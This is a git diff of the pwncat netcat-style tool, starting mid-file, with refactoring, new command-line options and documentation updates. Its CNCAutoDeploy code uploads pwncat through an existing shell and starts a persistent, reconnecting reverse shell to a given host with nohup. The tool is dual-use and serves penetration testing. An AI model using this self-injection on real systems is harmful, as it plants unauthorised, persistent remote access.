-------------------------------------------------------------------------- + # High-level Functions + # -------------------------------------------------------------------------- + def remote_command(self, command, output): + # type: (str, bool) -> Optional[List[bytes]] + """Run remote command with correct linefeeds and receive response lines. Args: command (str): The command to execute on the remote end. + output (bool): Receive output from command? """ - # TODO: determine remote host line feeds and set accordingly. - self.__fsend(command + "\n") + command = command.rstrip("\r\n") + command = command.rstrip("\r") + command = command.rstrip("\n") + command = command + "\n" + if output: + return self.send_recv(StringEncoder.encode(command), True, True) + self.send(StringEncoder.encode(command)) + return None def create_remote_tmpfile(self): # type: () -> Optional[str] @@ -3790,26 +4640,73 @@ class CNC(object): Returns: str or None: Returns path on success or None on error. """ + self.flush_receive() + self.print_info("Creating tmpfile:", False, True) + command = [] - command.append("{} -c '".format(self.__python)) + command.append("{} -c '".format(self.__remote_python)) command.append("import tempfile;") command.append("h,f=tempfile.mkstemp();") - if self.__py3: + if self.__remote_py3: command.append("print(f);") else: command.append("print f;") command.append("'") - self.remote_command("".join(command)) + response = self.remote_command("".join(command), True) + + # All good + if response is not None and len(response) == 1: + tmpfile = StringEncoder.decode(response[0]).rstrip() + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile + + # Something went wrong with stripping prefix from server, we need to manually + # check if creation was successful. + if response is not None and len(response) > 1: + # A bit fuzzy, but we try a few times + for _ in range(5): + self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True) + for candidate in response: + tmpfile = StringEncoder.decode(candidate).rstrip() + if self.remote_file_exists(tmpfile): + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile + + self.print_info("Creating tmpfile: Failed", True, True) + self.print_info("Response: {}".format(repr(response))) + return None - self.print_info("Creating tmpfile:", False, True) - for response in self.__frecv(): - if response: - tmpfile = response.rstrip() - self.print_info("Creating tmpfile: {}".format(tmpfile), True, True) - return tmpfile + def remote_file_exists(self, remote_path): + # type: (str) -> bool + """Ensure given remote path exists as a file on remote end. - self.print_info("Failed to create tmpfile", True, True) - return None + Args: + remote_path (str): Path of file to check. + + Returns: + bool: Returns `True` on success and `False` on failure. + """ + self.flush_receive() + + # String should be short as an unstable remote might send small chunks + unique_string = "_pwncat_" + response = self.remote_command( + 'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True + ) + if response is not None: + for candidate in response: + if StringEncoder.decode(candidate) == unique_string: + return True + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + response = self.flush_receive() + if response is not None: + for candidate in response: + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + return False def upload(self, lpath, rpath): # type: (str, str) -> bool @@ -3822,13 +4719,14 @@ class CNC(object): Returns: bool: Returns `True` on success and `False` on failure. """ - assert self.__python is not None - assert self.__py3 is not None + assert self.__remote_python is not None + assert self.__remote_py3 is not None rpath_b64 = self.create_remote_tmpfile() + self.flush_receive() if rpath_b64 is None: return False - if not self.__upload_file_base_64_encoded(lpath, rpath_b64): + if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True): return False if not self.__remote_base64_decode(rpath_b64, rpath): return False @@ -3837,6 +4735,78 @@ class CNC(object): # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- + def __set_remote_prefix(self): + # type: () -> None + """Determines if the remote always sends a specific prefix with its other data.""" + self.__remote_prefix = [] + self.__remote_suffix = [] + + has_suffix = False + + self.print_info("Checking if remote sends prefix/suffix to every request...") + response = self.send_recv(b'echo "__pwn__"\n') + expected = b"__pwn__" + + if response: + for line in response: + # If the line begins with our expected response, all data after that + # is a suffix that the server might be sending. + if re.match(expected, line): + has_suffix = True + # If bytes are still left after our response, add it + if line.replace(expected, b"", 1): + self.__remote_suffix.append(line.replace(expected, b"", 1)) + continue + if has_suffix: + self.__remote_suffix.append(line) + + # Ensure empty elements are removed + self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix)) + self.__remote_suffix = [item for item in self.__remote_suffix if item] + self.__log.debug("Set suffix after: %s", repr(self.__remote_suffix)) + + if self.__remote_prefix: + self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix))) + for line in self.__remote_prefix: + self.print_raw(repr(line).encode(), True) + else: + self.print_info("Remote does not send prefix") + if self.__remote_suffix: + self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix))) + for line in self.__remote_suffix: + self.print_raw(repr(line).encode(), True) + else: + self.print_info("Remote does not send suffix") + + def __get_remote_python_version(self, path): + # type: (str) -> Optional[str] + """Get remote Python version by path. + + Args: + path (str): Path to potential python binary. + + Returns: + Optional[str]: Python version string or None if not found. + """ + command = [] + command.append("{} -c '".format(path)) + command.append("from __future__ import print_function;") + command.append("import sys;") + command.append("v=sys.version_info;") + command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') + + response = self.remote_command("".join(command), True) + + if response is not None and response: + for line in response: + match = re.search(b"^([.0-9]+)", line) + # Potential version candidate + if match: + version = StringEncoder.decode(match.group(1)) + if version[0] in ["2", "3"]: + return version + return None + def __set_remote_python_path(self): # type: () -> bool """Enumerate remote Python binary. @@ -3845,70 +4815,107 @@ class CNC(object): bool: Returns `True` on success and `False` on failure. """ # TODO: Make windows compatible + # [1/2] 'which' method + for name in self.__PYTHON_NAMES: + self.print_info("Probing for: which {}".format(name)) + response = self.remote_command("which {} 2>/dev/null".format(name), True) + if response is not None and response: + for line in response: + path = StringEncoder.decode(line) + self.print_info("Potential path: {}".format(path)) + version = self.__get_remote_python_version(path) + if version is None: + continue + + if version[0] == "2": + self.__remote_py3 = False + if version[0] == "3": + self.__remote_py3 = True + self.print_info("Found valid Python{} version: {}".format(version[0], version)) + self.__remote_python = path + return True + + # TODO: Make windows compatible + # [2/2] Absolute path method for path in self.__PYTHON_PATHS: - for version in self.__PYTHON_VERSIONS: - python = path + "/" + version + for name in self.__PYTHON_NAMES: + + python = path + "/" + name self.print_info("Probing for: {}".format(python)) - self.remote_command("test -f {p} && echo {p} || echo;".format(p=python)) - for response in self.__frecv(): - reg = re.search(r"^([.0-9]+)", response) - if response.rstrip() == python.rstrip(): - self.print_info("Potential path: {}".format(python)) - command = [] - command.append("{} -c '".format(python)) - command.append("from __future__ import print_function;") - command.append("import sys;") - command.append("v=sys.version_info;") - command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') - data = "".join(command) - self.remote_command(data) + rpath_lines = self.remote_command( + "test -f {p} && echo {p} || echo".format(p=python), True + ) + if rpath_lines is not None and rpath_lines: + # Reset current round + path_found = False + + # We expect a length of one, but we handle errors as well. + for rpath_line in rpath_lines: + if StringEncoder.decode(rpath_line).rstrip() == python: + path_found = True + break + if not path_found: continue - if reg: - match = reg.group(1) - if match[0] == "2": - self.__py3 = False - elif match[0] == "3": - self.__py3 = True - else: - self.print_info( - "Could not determine major version: {}".format(reg.group(1)) - ) - return False - self.print_info("Found valid Python{} version: {}".format(match[0], match)) - self.__python = python - return True - # Nothing matched, break the innter loop - break + + # Potential python candidate + self.print_info("Potential path: {}".format(python)) + version = self.__get_remote_python_version(python) + if version is None: + continue + + if version[0] == "2": + self.__remote_py3 = False + if version[0] == "3": + self.__remote_py3 = True + self.print_info("Found valid Python{} version: {}".format(version[0], version)) + self.__remote_python = python + return True return False - def __upload_file_base_64_encoded(self, lpath, rpath): - # type: (str, str) -> bool + def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False): + # type: (str, str, bool) -> bool """Upload a local file to a base64 encoded remote file. Args: lpath (str): Local path of the file. rpath (str): Remote path, where to upload the base64 encoded file. + at_once (bool): Send all data at once. Returns: bool: Returns `True` on success and `False` on failure. """ first = True + data = [] # type: List[str] + with open(lpath, "r") as fhandle: lines = fhandle.readlines() count = len(lines) curr = 1 for line in lines: - self.print_info( - "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True - ) - b64 = self.__enc.base64_encode(line) + if not at_once: + self.print_info( + "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True + ) + b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line))) if first: - self.remote_command('echo "{}" > {}'.format(b64, rpath)) + if at_once: + data.append('echo "{}" > "{}"'.format(b64, rpath)) + else: + self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False) first = False else: - self.remote_command('echo "{}" >> {}'.format(b64, rpath)) + if at_once: + data.append('echo "{}" >> "{}"'.format(b64, rpath)) + else: + self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False) curr += 1 - self.print_info() + + if at_once: + self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1)) + self.remote_command("\n".join(data), False) + else: + self.print_info() + # TODO: md5 check if this is legit return True @@ -3923,69 +4930,88 @@ class CNC(object): Returns: bool: Returns `True` on success or `False` on failure. """ + self.flush_receive() + command = [] - command.append("{} -c 'import base64;".format(self.__python)) + command.append("{} -c 'import base64;".format(self.__remote_python)) command.append('f=open("{}", "r");'.format(rpath_source)) command.append("lines = f.readlines();") - if self.__py3: - command.append('print("".join([base64.b64decode(l.encode()) for l in lines]));\'') + if self.__remote_py3: + command.append( + 'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\'' + ) else: command.append('print "".join([base64.b64decode(l) for l in lines]);\'') - command.append("> {}".format(rpath_target)) + command.append('> "{}"'.format(rpath_target)) self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target)) - self.remote_command("".join(command)) + self.remote_command("".join(command), False) # TODO: validate via md5 return True # ------------------------------------------------------------------------------------------------- -# [9/11 Command & Control]: (1/2) CNCAutoDeploy +# [9/11 Command & Control]: (3/3) CNCAutoDeploy # ------------------------------------------------------------------------------------------------- class CNCAutoDeploy(CNC): """Command&Control pwncat auto deployment class.""" def __init__( self, - enc, # type: StringEncoder - send, # type: Callable[[str], None] - recv, # type: Callable[[], Iterator[str]] + network, # type: IONetwork cmd, # type: str host, # type: str ports, # type: List[int] ): # type: (...) -> None try: - super(CNCAutoDeploy, self).__init__(enc, send, recv) - except FileNotFoundError: + super(CNCAutoDeploy, self).__init__(network) + except CNCPythonNotFound: return local_path = os.path.abspath(__file__) remote_path = self.create_remote_tmpfile() + remote_stdout = self.create_remote_tmpfile() + remote_stderr = self.create_remote_tmpfile() if remote_path is None: + self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.") return if not self.upload(local_path, remote_path): + self.print_info("Unable to upload file. Aborting and handing over to current shell.") return - # TODO: Ensure pwncat stays running - self.__start_pwncat(remote_path, cmd, host, ports) + self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr) + + # We need to wait some time for slow severs + self.print_info("Waiting for socket") + time.sleep(2) + self.flush_receive() + + self.print_info("Done. Handing over to current shell.") return - def __start_pwncat(self, remote_path, binary, host, ports): - # type: (str, str, str, List[int]) -> None + def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr): + # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None for port in ports: command = [] command.append("nohup") - command.append(self.python) + command.append(self.remote_python) command.append(remote_path) command.append(host) command.append(str(port)) command.append("--exec {}".format(binary)) command.append("--reconn") command.append("--reconn-wait 1") + if stdout is not None and stderr is not None: + command.append("> {}".format(stdout)) + command.append("2> {}".format(stderr)) + elif stdout is not None: + command.append("> {} 2>&1".format(stdout)) + elif stderr is not None: + command.append("> {} 2>&1".format(stderr)) command.append("&") data = " ".join(command) print("Starting pwncat rev shell: {}".format(data)) - self.remote_command(data) + self.remote_command(data, False) # ################################################################################################# @@ -4503,6 +5529,27 @@ CR on MacOS). default=False, help="""Do not resolve DNS. +""", + ) + optional.add_argument( + "--send-on-eof", + action="store_true", + default=False, + help="""Buffer data received on stdin until EOF and send +everything in one chunk. + +""", + ) + optional.add_argument( + "--no-shutdown", + action="store_true", + default=False, + help="""Do not shutdown into half-duplex mode. +If this option is passed, pwncat won't invoke shutdown +on a socket after seeing EOF on stdin. This is provided +for backward-compatibility with OpenBSD netcat, which +exhibits this behavior. + """, ) optional.add_argument( @@ -4985,7 +6032,7 @@ The default is to send a null byte sting: '\\0'. sys.exit(1) # Deny unimplemented modes - if args.http or args.https: + if args.https: print("Unimplemented options", file=sys.stderr) sys.exit(1) @@ -5085,8 +6132,8 @@ def main(): # Initialize encoder enc = StringEncoder() - # Initialize StopSignal - ssig = StopSignal() + # Initialize interrupt handler + ssig = InterruptHandler(args.keep_open, args.no_shutdown) # Initialize transformers transformers = [] @@ -5108,7 +6155,7 @@ def main(): mod = IOCommand(ssig, DsIOCommand(enc, args.cmd, POPEN_BUFSIZE)) # Use output module else: - mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN)) + mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN, args.send_on_eof)) # Run local port-forward # -> listen locally and forward traffic to remote (connect) @@ -5122,7 +6169,7 @@ def main(): net_srv = IONetwork(ssig, enc, lhost, [lport], "server", srv_opts, cli_opts, sock_opts) net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner - run = Runner(PSEStore(ssig, [net_srv, net_cli])) + run = Runner(ssig, False, PSEStore(ssig, [net_srv, net_cli])) run.add_action( "TRANSMIT", DsRunnerAction( @@ -5130,6 +6177,7 @@ def main(): net_cli.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [net_cli.interrupt, net_srv.interrupt], transformers, + False, None, ), ) @@ -5140,6 +6188,7 @@ def main(): net_srv.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [net_cli.interrupt, net_srv.interrupt], transformers, + False, None, ), ) @@ -5157,7 +6206,7 @@ def main(): net_cli_l = IONetwork(ssig, enc, lhost, [lport], "client", srv_opts, cli_opts, sock_opts) net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner - run = Runner(PSEStore(ssig, [net_cli_l, net_cli_r])) + run = Runner(ssig, False, PSEStore(ssig, [net_cli_l, net_cli_r])) run.add_action( "TRANSMIT", DsRunnerAction( @@ -5165,6 +6214,7 @@ def main(): net_cli_r.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [], transformers, + False, None, ), ) @@ -5175,6 +6225,7 @@ def main(): net_cli_l.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [], transformers, + False, None, ), ) @@ -5184,15 +6235,16 @@ def main(): if mode == "scan": print("Scanning {} ports".format(len(ports))) net = IONetworkScanner(ssig, enc, host, args.banner, cli_opts, sock_opts) - run = Runner(PSEStore(ssig, [net])) + run = Runner(ssig, True, PSEStore(ssig, [net])) for port in ports: run.add_action( "PORT-{}".format(port), DsRunnerAction( DsCallableProducer(net.producer, port), # Send port scans net.consumer, # Output results + [net.interrupt], [], - transformers, + True, None, ), ) @@ -5208,15 +6260,24 @@ def main(): if args.self_inject: cnc_cmd, cnc_host, cnc_port = args.self_inject.split(":") cnc_ports = ArgValidator.get_port_list_from_string(cnc_port) - CNCAutoDeploy(enc, net.consumer, net.producer, cnc_cmd, cnc_host, cnc_ports) - run = Runner(PSEStore(ssig, [net])) + CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports) + + if args.http: + trans_recv = [TransformHttpUnpack({})] + transformers + trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers + else: + trans_recv = transformers + trans_send = transformers + + run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, - [net.interrupt, mod.interrupt], # Also force the prod. to stop on net err - transformers, + [net.interrupt], + trans_recv, + False, code_recv, ), ) @@ -5225,8 +6286,9 @@ def main(): DsRunnerAction( DsCallableProducer(mod.producer), net.consumer, # send data - [mod.interrupt], # Externally stop the produer itself - transformers, + [mod.interrupt], + trans_send, + False, code_send, ), ) @@ -5237,14 +6299,23 @@ def main(): net = IONetwork( ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts ) - run = Runner(PSEStore(ssig, [net])) + + if args.http: + trans_recv = [TransformHttpUnpack({})] + transformers + trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers + else: + trans_recv = transformers + trans_send = transformers + + run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, - [net.interrupt, mod.interrupt], # Also force the prod. to stop on net err - transformers, + [net.interrupt], + trans_recv, + False, code_recv, ), ) @@ -5253,20 +6324,23 @@ def main(): DsRunnerAction( DsCallableProducer(mod.producer), net.consumer, # send data - [net.interrupt, mod.interrupt], # Externally stop the produer itself - transformers, + [mod.interrupt], + trans_send, + False, code_send, ), ) if type(args.ping_intvl) is int and args.ping_intvl > 0: + payload = StringEncoder.encode(args.ping_word) run.add_timer( "PING-INT", - DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (args.ping_word)), # send data + DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (payload,), {}), # send data ) if args.ping_init: + payload = StringEncoder.encode(args.ping_word) run.add_repeater( "PING-REP", - DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (args.ping_word)), # send data + DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (payload,), {}), # send data ) run.run() @@ -5275,9 +6349,4 @@ def main(): # [11/11 MAIN ENTRYPOINT]: (2/2) start # ------------------------------------------------------------------------------------------------- if __name__ == "__main__": - # Catch Ctrl+c and exit without error message - try: - main() - except KeyboardInterrupt: - print() - sys.exit(1) + main() diff --git a/docs/index.html b/docs/index.html index 7648e7be..79348a0f 100644 --- a/docs/index.html +++ b/docs/index.html @@ -120,6 +120,7 @@
+ pwncat logo
+
+
+

BlackArch

+

+

pacman -S pwncat

+
+


@@ -323,6 +331,31 @@

Cross OS



+

Artwork

+
+
+
+

Logo

+
+ +
+ +
+
+

Banner 1

+
+ +
+
+
+

Banner 2

+
+ +
+
+

+ +

Usage

 usage: pwncat [options] hostname port
@@ -404,6 +437,15 @@ 

Usage

-n, --nodns Do not resolve DNS. + --send-on-eof Buffer data received on stdin until EOF and send + everything in one chunk. + + --no-shutdown Do not shutdown into half-duplex mode. + If this option is passed, pwncat won't invoke shutdown + on a socket after seeing EOF on stdin. This is provided + for backward-compatibility with OpenBSD netcat, which + exhibits this behavior. + -v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times. diff --git a/docs/pwncat.api.html b/docs/pwncat.api.html index 02a813cf..7ce8a8f2 100644 --- a/docs/pwncat.api.html +++ b/docs/pwncat.api.html @@ -36,7 +36,7 @@

Module pwncat

# 4. Transformer # 5. IO modules # 6. PSE Store -# 7. IO Runner +# 7. IO Runner / InterruptHandler # 8. Command & Control # 9. Command line arguments # 10. Main entrypoint @@ -76,7 +76,7 @@

Module pwncat

# # 4. Signaling / Interrupts # ------------------------------------ -# The StopSignal instance is distributed across all Threads and and the Runner instance and +# The InterruptHandler instance is distributed across all Threads and and the Runner instance and # is a way to let other Threads know that a stop signal has been requested. # Producer/Consumer can implement their own interrupt function so they can be stopped from # inside (if they do non-blocking stuff) or from outside (if they do blocking stuff). @@ -85,17 +85,18 @@

Module pwncat

from abc import abstractmethod from abc import ABCMeta +from datetime import datetime from subprocess import PIPE from subprocess import Popen from subprocess import STDOUT import argparse -import atexit import base64 import logging import os import re import select +import signal import socket import sys import threading @@ -154,12 +155,12 @@

Module pwncat

APPNAME = "pwncat" APPREPO = "https://github.com/cytopia/pwncat" -VERSION = "0.0.23-alpha" +VERSION = "0.1.0" # Default timeout for timeout-based sys.stdin and socket.recv -TIMEOUT_READ_STDIN = 0.1 -TIMEOUT_RECV_SOCKET = 0.1 -TIMEOUT_RECV_SOCKET_RETRY = 2 +TIMEOUT_READ_STDIN = 0.05 +TIMEOUT_RECV_SOCKET = 0.05 +TIMEOUT_RECV_SOCKET_RETRY = 1 # https://docs.python.org/3/library/subprocess.html#popen-constructor # * 0 means unbuffered (read and write are one system call and can return short) @@ -241,7 +242,7 @@

Module pwncat

# -------------------------------------------------------------------------- @property def function(self): - # type: () -> Callable[..., Iterator[str]] + # type: () -> Callable[..., Iterator[bytes]] """`IO.producer`: Callable funtcion function.""" return self.__function @@ -261,7 +262,7 @@

Module pwncat

# Contrcutor # -------------------------------------------------------------------------- def __init__(self, function, *args, **kwargs): - # type: (Callable[..., Iterator[str]], Any, Any) -> None + # type: (Callable[..., Iterator[bytes]], Any, Any) -> None self.__function = function self.__args = args self.__kwargs = kwargs @@ -284,7 +285,7 @@

Module pwncat

@property def consumer(self): - # type: () -> Callable[[str], None] + # type: () -> Callable[[bytes], None] """`IO.consumer`: Data consumer function.""" return self.__consumer @@ -300,6 +301,12 @@

Module pwncat

"""`[Transform.transformer]`: List of transformer functions applied before consumer.""" return self.__transformers + @property + def daemon_thread(self): + # type: () -> bool + """`bool`: Determines if the action will be started in a daemon thread.""" + return self.__daemon_thread + @property def code(self): # type: () -> Optional[Union[str, bytes, CodeType]] @@ -312,9 +319,10 @@

Module pwncat

def __init__( self, producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] interrupts, # type: List[Callable[[], None]] transformers, # type: List[Transform] + daemon_thread, # type: bool code, # type: Optional[Union[str, bytes, CodeType]] ): # type: (...) -> None @@ -322,6 +330,7 @@

Module pwncat

self.__consumer = consumer self.__interrupts = interrupts self.__transformers = transformers + self.__daemon_thread = daemon_thread self.__code = code @@ -359,10 +368,10 @@

Module pwncat

return self.__kwargs @property - def signal(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance.""" - return self.__signal + def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig # -------------------------------------------------------------------------- # Constructor @@ -370,16 +379,16 @@

Module pwncat

def __init__( self, action, # type: Callable[..., None] - signal, # type: StopSignal + ssig, # type: InterruptHandler intvl, # type: int - *args, # type: Tuple[Any, ...] - **kwargs # type: Dict[str, Any] + args, # type: Tuple[Any, ...] + kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(intvl) is int, type(intvl) assert type(kwargs) is dict, type(kwargs) self.__action = action - self.__signal = signal + self.__ssig = ssig self.__intvl = intvl self.__args = args self.__kwargs = kwargs @@ -425,10 +434,10 @@

Module pwncat

return self.__kwargs @property - def signal(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance.""" - return self.__signal + def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig # -------------------------------------------------------------------------- # Constructor @@ -436,18 +445,18 @@

Module pwncat

def __init__( self, action, # type: Callable[..., None] - signal, # type: StopSignal + ssig, # type: InterruptHandler repeat, # type: int pause, # type: float - *args, # type: Tuple[Any, ...] - **kwargs # type: Dict[str, Any] + args, # type: Tuple[Any, ...] + kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(repeat) is int, type(repeat) assert type(pause) is float, type(pause) assert type(kwargs) is dict, type(kwargs) self.__action = action - self.__signal = signal + self.__ssig = ssig self.__repeat = repeat self.__pause = pause self.__args = args @@ -792,8 +801,8 @@

Module pwncat

# -------------------------------------------------------------------------- @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance to trigger a shutdown signal.""" + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal.""" return self.__ssig @property @@ -806,7 +815,7 @@

Module pwncat

# Constructor # -------------------------------------------------------------------------- def __init__(self, ssig, safeword): - # type: (StopSignal, str) -> None + # type: (InterruptHandler, str) -> None super(DsTransformSafeword, self).__init__() self.__ssig = ssig self.__safeword = safeword @@ -833,14 +842,21 @@

Module pwncat

"""`float`: Input timeout in seconds for non-blocking read or `None` for blocking.""" return self.__input_timeout + @property + def send_on_eof(self): + # type: () -> bool + """`float`: Determines if we buffer STDIN until EOF before sending.""" + return self.__send_on_eof + # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- - def __init__(self, encoder, input_timeout): - # type: (StringEncoder, Optional[float]) -> None + def __init__(self, encoder, input_timeout, send_on_eof): + # type: (StringEncoder, Optional[float], bool) -> None super(DsIOStdinStdout, self).__init__() self.__enc = encoder self.__input_timeout = input_timeout + self.__send_on_eof = send_on_eof # ------------------------------------------------------------------------------------------------- @@ -896,7 +912,7 @@

Module pwncat

# ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (1/4) TraceLogger +# [3/11 LIBRARY CLASSES]: (1/3) TraceLogger # ------------------------------------------------------------------------------------------------- class TraceLogger(logging.getLoggerClass()): # type: ignore """Extend Python's default logger class with TRACE level logging.""" @@ -936,7 +952,7 @@

Module pwncat

# ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (2/4) ColoredLogFormatter +# [3/11 LIBRARY CLASSES]: (2/3) ColoredLogFormatter # ------------------------------------------------------------------------------------------------- class ColoredLogFormatter(logging.Formatter): """Custom log formatter which adds different details and color support.""" @@ -1009,7 +1025,7 @@

Module pwncat

# ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (3/4) StringEncoder +# [3/11 LIBRARY CLASSES]: (3/3) StringEncoder # ------------------------------------------------------------------------------------------------- class StringEncoder(object): """Takes care about Python 2/3 string encoding/decoding. @@ -1018,72 +1034,73 @@

Module pwncat

classes or functions as strings to keep full Python 2/3 compat. """ - # -------------------------------------------------------------------------- - # Constructor - # -------------------------------------------------------------------------- - def __init__(self): - # type: () -> None - """Create a StringEncoder instance which converts str/bytes according to Python version.""" - self.__py3 = sys.version_info >= (3, 0) # type: bool - - # https://stackoverflow.com/questions/606191/27527728#27527728 - self.__codec = "cp437" - self.__fallback = "latin-1" + CODECS = [ + "utf-8", + "cp437", + "latin-1", + ] # -------------------------------------------------------------------------- - # Public Functions - # -------------------------------------------------------------------------- - def encode(self, data): + # Class methods + # -------------------------------------------------------------------------- + @classmethod + def rstrip(cls, data, search=None): + # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str] + """Implementation of rstring which works on bytes or strings.""" + # We have a bytes object in Python3 + if sys.version_info >= (3, 0) and type(data) is not str: + # Strip whitespace + if search is None: + while True: + new = data + new = cls.rstrip(new, " ") + new = cls.rstrip(new, "\n") + new = cls.rstrip(new, "\r") + new = cls.rstrip(new, "\t") + # Loop until no more changes occur + if new == data: + return new + else: + bsearch = StringEncoder.encode(search) + while data[-1:] == bsearch: + data = data[:-1] + return data + + # Use native function + if search is None: + return data.rstrip() + return data.rstrip(search) # type: ignore + + @classmethod + def encode(cls, data): # type: (str) -> bytes """Convert string into a byte type for Python3.""" - if self.__py3: - try: - return data.encode(self.__codec) - except UnicodeEncodeError: - # TODO: Add logging - return data.encode(self.__fallback) + if sys.version_info >= (3, 0): + for codec in cls.CODECS: + # On the last codec, do not catch the exception and let it trigger if it fails + if codec == cls.CODECS[-1]: + return data.encode(codec) + try: + return data.encode(codec) + except UnicodeEncodeError: + pass return data # type: ignore - def decode(self, data): + @classmethod + def decode(cls, data): # type: (bytes) -> str """Convert bytes into a string type for Python3.""" - if self.__py3: - return data.decode(self.__codec) + if sys.version_info >= (3, 0): + for codec in cls.CODECS: + # On the last codec, do not catch the exception and let it trigger if it fails + if codec == cls.CODECS[-1]: + return data.decode(codec) + try: + return data.decode(codec) + except UnicodeDecodeError: + pass return data # type: ignore - def base64_encode(self, data): - # type: (str) -> str - """Convert string into a base64 encoded string.""" - return self.decode(base64.b64encode(self.encode(data))) - - -# ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (4/4): StopSignal -# ------------------------------------------------------------------------------------------------- -class StopSignal(object): - """Provide a simple boolean switch.""" - - # -------------------------------------------------------------------------- - # Constructor - # -------------------------------------------------------------------------- - def __init__(self): - # type: () -> None - """Create a StopSignal instance.""" - self.__stop = False - - # -------------------------------------------------------------------------- - # Public Functions - # -------------------------------------------------------------------------- - def has_stop(self): - # type: () -> bool - """Check if a stop signal has been raised.""" - return self.__stop - - def raise_stop(self): - # type: () -> None - """Raise a stop signal.""" - self.__stop = True - # ################################################################################################# # ################################################################################################# @@ -1097,7 +1114,7 @@

Module pwncat

# [4/11 NETWORK]: (1/1) Sock # ------------------------------------------------------------------------------------------------- class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore - """Thread-safe singleton Socket helper to emulate a module within the same file.""" + """Thread-safe singleton Socket wrapper to emulate a module within the same file.""" def __init__(self): # type: () -> None @@ -1448,13 +1465,14 @@

Module pwncat

# -------------------------------------------------------------------------- # Create functions # -------------------------------------------------------------------------- - def create_socket(self, family, sock_type, ip_tos_name=None): - # type: (Union[socket.AddressFamily, int], int, Optional[str]) -> socket.socket + def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None): + # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket """Create TCP or UDP socket. Args: family (socket.family): The address family for which to create the socket for. sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM + reuse_addr (bool): Set SO_REUSEADDR on the socket. ip_tos_name (str): Optional IP type of service value to apply to socket Returns: @@ -1498,7 +1516,8 @@

Module pwncat

# Get around the "[Errno 98] Address already in use" error, if the socket is still in wait # we instruct it to reuse the address anyway. - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + if reuse_addr: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # If requested, set IP Type of Service value for current socket if ip_tos_name is not None: @@ -1557,27 +1576,38 @@

Module pwncat

